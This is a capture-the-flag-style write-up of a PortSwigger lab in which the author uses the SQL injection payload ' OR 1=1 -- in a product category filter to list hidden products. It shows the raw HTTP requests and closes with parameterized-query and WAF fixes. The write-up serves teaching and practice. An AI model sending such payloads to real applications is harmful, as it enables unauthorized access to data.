SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
SQL injection vulnerability in WHERE clause allowing retrieval of hidden data: This lab exposes a SQL injection vulnerability in the product category filter. The backend runs a query like: • PortSwigger • SQL Injection • SQL-injection
🎯 Objective
This lab exposes a SQL injection vulnerability in the product category filter. The backend runs a query like:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1Goal: Use SQLi to make the application display unreleased products.
🧩 Context & Vulnerable Query
When a user selects a category, the application filters products by category and enforces released = 1. If we can break out of the category filter and short‑circuit the WHERE clause with a tautology, the released condition can be bypassed.
🧭 Steps I Took
1) Intercept the baseline request in Burp
I grabbed the front‑end request parameters to see what the app sends to the backend.
GET /filter?category=Food+%26+Drink HTTP/2
Host: 0ad000c803e8afe3875c21ef008300ed.web-security-academy.net
Cookie: session=rfo1LaKaz83qWGazhzJu2fr7PxbyyLyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad000c803e8afe3875c21ef008300ed.web-security-academy.net/filter?category=Accessories
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers2) Inject a tautology into category
I replaced the category value with a payload that closes the quote and adds OR 1=1 followed by a comment to nullify the rest.
GET /filter?category=' OR 1=1 -- HTTP/2
Host: 0ad000c803e8afe3875c21ef008300ed.web-security-academy.net
Cookie: session=rfo1LaKaz83qWGazhzJu2fr7PxbyyLyx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad000c803e8afe3875c21ef008300ed.web-security-academy.net/filter?category=Accessories
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers3) URL‑encode the payload
The query string needs encoding. I encoded it from:
GET /filter?category=' OR 1=1 --to:
GET+/filter%3fcategory%3d'+OR+1%3d1+--📸 Evidence
Solution:
✅ Result
The injected request bypassed released = 1, causing the app to list unreleased products. Lab solved.
💡 Key Takeaways
- Input that lands inside SQL without proper parameterization is ripe for tautology‑based SQLi like
' OR 1=1 --. - Developer fix: Use prepared statements/parameterized queries, enforce allowlists for category values, and escape/encode output.
- Operational fix: Add WAF rules for obvious comment/quote patterns and monitor for unusual category values.
This write‑up reflects my notes and the exact steps I took during the lab.